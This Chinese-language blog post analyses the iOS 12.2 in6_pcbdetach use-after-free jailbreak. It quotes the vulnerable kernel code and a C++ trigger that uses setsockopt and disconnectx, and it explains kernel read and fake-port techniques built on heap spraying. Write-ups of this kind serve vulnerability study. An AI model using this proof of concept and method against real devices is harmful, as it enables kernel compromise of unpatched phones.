iOS12.2 jailbreak analysis

jailbreak analysis and rewrite on Mac

0x0前言

p0的nedwill在同事的帮助下:)完成了iOS12.2越狱,这是一个UAF的洞,是通过tfp0的方式来拿到内核代码执行的权限,了,一般的利用方式我们都还是比较熟悉了,而且UAF的利用方式我们通常都是通过ROP的方式来提权,所以都要配合一个信息泄漏,所以这次的利用方式还是非常值得我们去学习的。通过代码结构来看应该是少不了bazad的帮助,通过他那个软件工程式的exploit就凸显了斯坦福博士的风格。不过整体都是C++下的看的着实有点难受。

0x1.漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void
in6_pcbdetach(struct inpcb *inp)
{
// ...
trueif (!(so->so_flags & SOF_PCBCLEARING)) {
truetruestruct ip_moptions *imo;
truetruestruct ip6_moptions *im6o;
truetrueinp->inp_vflag = 0;
truetrueif (inp->in6p_options != NULL) {
truetruetruem_freem(inp->in6p_options);
truetruetrueinp->in6p_options = NULL; // <- good
truetrue}
truetrueip6_freepcbopts(inp->in6p_outputopts); // <- bad
truetrueROUTE_RELEASE(&inp->in6p_route);
truetrue// free IPv4 related resources in case of mapped addr
truetrueif (inp->inp_options != NULL) {
truetruetrue(void) m_free(inp->inp_options); // <- good
truetruetrueinp->inp_options = NULL;
}

这里在进行资源释放的时候没有把inp->in6p_outputopts指向空,但是在socket断连再连接的时候就会造成UAF了,我看了一下ip6_freepcbopts这个函数,他将in6p_outputopts中的资源逐个释放并指向空,但很可惜忽略了他的上层。

我们的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

DanglingOptions::DanglingOptions() : dangling_(false) {
s_ = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
if (s_ < 0) {
printf("failed to create socket!\n");
}

// 保证我们释放之后还可以进行setsockopt操作
struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT,
.npx_mask = SONPX_SETOPTSHUT};
int res = setsockopt(s_, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));
if (res != 0) {
printf("failed to enable setsockopt after disconnect!\n");
}
int minmtu = -1;

SetMinmtu(&minmtu);
FreeOptions();
}

bool DanglingOptions::FreeOptions() {
if (dangling_) {
return false;
}
dangling_ = true;
//这个时候in6p_outputopts就已经被我们释放掉了
int res = disconnectx(s_, 0, 0);
return res == 0;
}

0x2总体思路

整个利用的总体结构如下:

整体的结构还是比较好理解的,与之前的利用不一样的是,这里提出了几个不一样的技巧:

  1. fdofiles

我们知道在一个进程的上下文中应该是会记录了这个进程打开的文件数量,有一个array来记录这些数据,这里正是利用了这一点,来获取管道的内核地址:

task -> proc -> fd table -> open files array (fd_ofiles)

fd_ofiles -> fileproc -> f_fglob -> fg_data -> pipe -> pipe buffer

其中fake port的管道内核地址是为了构造kernel taskuaf pipe是为了释放掉它的buffer重新填充

  1. 20字节的任意地址读

首先来看看我们重用的那个对象的结构体:

其中pktinfo是一个union,包含了128 bit的ipv6地址和一个4字节的整型index

1
2
3
4
struct in6_pktinfo {
struct in6_addr ipi6_addr; /* src/dst IPv6 address */
unsigned int ipi6_ifindex; /* send/recv interface index */
};

通过getsockopt中执行的对应option我们可以拿到这20字节的数据,也就是意味着每次我们通过触发UAF,然后将我们想要读取的内核地址数据堆喷上去,然后通过api再读回来。

1
2
3
4
5
6
7
8
9
10
11
12
13
//通过控制option name来取不同的属性
bool DanglingOptions::GetIPv6Opt(int option_name, void *data, socklen_t size) {
int res = getsockopt(s_, IPPROTO_IPV6, option_name, data, &size);
if (res != 0) {
printf("GetIpv6Opt got %d\n", errno);
return false;
}
return true;
}

//buffer是我们堆喷的数据
memcpy(buffer.get() + OFFSET(ip6_pktopts, ip6po_pktinfo), &address_uint,
sizeof(uint64_t));

可能不了解总的结构体的话还是会有些模糊:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
struct  ip6_pktopts {
struct mbuf *ip6po_m; /* Pointer to mbuf storing the data */
int ip6po_hlim; /* Hoplimit for outgoing packets */

/* Outgoing IF/address information */
struct in6_pktinfo *ip6po_pktinfo;

/* Next-hop address information */
struct ip6po_nhinfo ip6po_nhinfo;

struct ip6_hbh *ip6po_hbh; /* Hop-by-Hop options header */

/* Destination options header (before a routing header) */
struct ip6_dest *ip6po_dest1;

/* Routing header related info. */
struct ip6po_rhinfo ip6po_rhinfo;

/* Destination options header (after a routing header) */
struct ip6_dest *ip6po_dest2;

int ip6po_tclass; /* traffic class */
//获取port的内核地址就是用了这个属性,minmtu取到高32位,prefer_tempaddr取到低32位(小端模式),通过((uint64_t)minmtu << 32) | prefer_tempaddr 操作最后算出地址
int ip6po_minmtu; /* fragment vs PMTU discovery policy */


int ip6po_prefer_tempaddr; /* whether temporary addresses are
preferred as source address */

int ip6po_flags;
};

任意地址读相当于是用我们想要读取的数据覆盖ip6po_pktinfo指针,所以在取的时候会对这个指针的值解引用然后读取20字节的数据回来。这个做法很精妙但是不通用,只是针对于这个结构体而言的。

  1. uaf_pipe

我们虽然构造了一个fake port但是苦于没有一个合法的port name进行操纵,所以就算我们把kernel task全都dump到了我们的fake task,也没办法进行任意地址读写,这里提出了一个新的UAF pipe,创建之后我们先通过任意地址读拿到它的内核地址信息,然后将它的buffer给释放掉,注意这里释放的只是buffer,而不是pipe

再通过堆喷大量的ool ports占据这块buffer,那么这个时候buffer中应该包含着刚刚堆喷的port的内核地址,最后将uaf pipe的首8个字节改写为fake port的地址,这就相当于我们拥有了一个可以操控fake portport name了,最后我们接受消息,判断port name是否合法,如果合法说明我们已经拥有了最后的内核地址读写的权限了。

  1. heap spray

我们知道做堆喷是有多种方式的,这里选择每一种都是有原因的,ool ports是为了port nameIOSurface是因为用起来很舒服,比较自由 ,所以除非是为了fake port,我们用的都是IOSurfaceset_value

最后我对于C++写的实在有点难受,另外好久也没写利用了,有点手生,所以在Mac上用C写了一下:

0x3参考链接

bugs.chromium